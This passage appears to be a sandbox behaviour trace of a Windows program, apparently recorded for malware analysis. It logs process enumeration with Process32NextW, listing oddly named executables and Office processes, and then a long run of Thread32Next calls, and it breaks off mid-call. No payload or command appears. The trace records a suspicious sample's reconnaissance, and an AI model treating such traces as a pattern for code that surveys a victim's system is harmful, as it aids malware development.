hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0105.482] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0105.483] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0105.484] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0105.485] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0105.485] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0105.486] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0105.487] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0105.488] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0105.489] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0105.490] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0105.491] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0105.492] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0105.492] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0105.493] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0105.494] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.526] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0105.548] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.549] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0105.550] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.550] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0105.551] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0105.552] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0105.553] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.554] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0105.555] CloseHandle (hObject=0xaf0) returned 1 [0105.555] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0xaf0 [0105.557] Thread32First (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.558] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.559] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.560] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.560] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.561] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.562] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.562] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.563] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.564] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.565] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.565] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.566] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.567] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.567] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.568] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.569] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.570] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.570] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.571] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.572] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.572] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.573] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.574] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.575] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.576] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.576] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.577] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.578] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.578] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.579] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.580] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.581] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.581] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.582] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.583] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.583] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.584] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.585] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.586] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.586] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.587] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.588] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.604] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.608] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.609] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.610] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.611] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.611] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.612] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.613] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.613] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.614] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.615] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.616] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.616] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.617] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.618] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.619] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.620] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.621] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.622] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.622] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.623] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.624] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.624] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.625] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.626] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.627] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.627] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.628] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.629] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.629] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.630] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.631] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.631] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.632] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.633] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.634] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.634] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.635] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.636] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.637] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.638] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.638] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.639] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.640] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.640] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.641] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.642] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.642] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.643] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.644] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.645] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.645] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.646] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.647] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.647] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.648] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.649] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.650] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.650] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.688] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.689] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.690] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.691] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.691] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.692] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.693] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.693] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.694] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.695] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.696] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.696] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.697] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.698] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.699] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.699] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.700] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.701] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.702] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.702] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.703] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.704] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.704] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.705] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.706] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.707] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.707] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.708] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.709] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.710] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.710] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.711] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.712] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.712] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.722] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.723] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.723] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.724] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.725] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.725] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.726] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.727] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.728] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.728] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.776] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.777] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.778] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.778] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.779] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.780] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.781] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.781] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.782] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.783] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.784] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.784] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.785] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.786] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.787] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.787] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.788] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.789] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.790] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.790] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.791] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.792] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.793] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.794] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.795] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.795] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.831] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.832] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.832] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.833] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.834] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.834] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.835] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.836] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.837] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.837] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.838] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.840] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.841] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.842] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.843] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.843] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.954] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.954] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.955] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.956] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.956] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.957] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.958] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0105.958] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.068] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.069] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.070] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.071] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.071] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.072] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.073] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.073] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.074] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.075] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.075] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.076] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.077] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.077] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.078] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.079] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.079] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.080] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.081] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.082] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.082] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.083] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.084] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.084] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.085] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.086] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.086] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.087] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.108] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.109] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.110] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.110] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.111] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.112] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.112] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.113] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.114] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.115] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.115] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.116] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.117] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.118] Thread32Next (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0106.118] Thread32Next 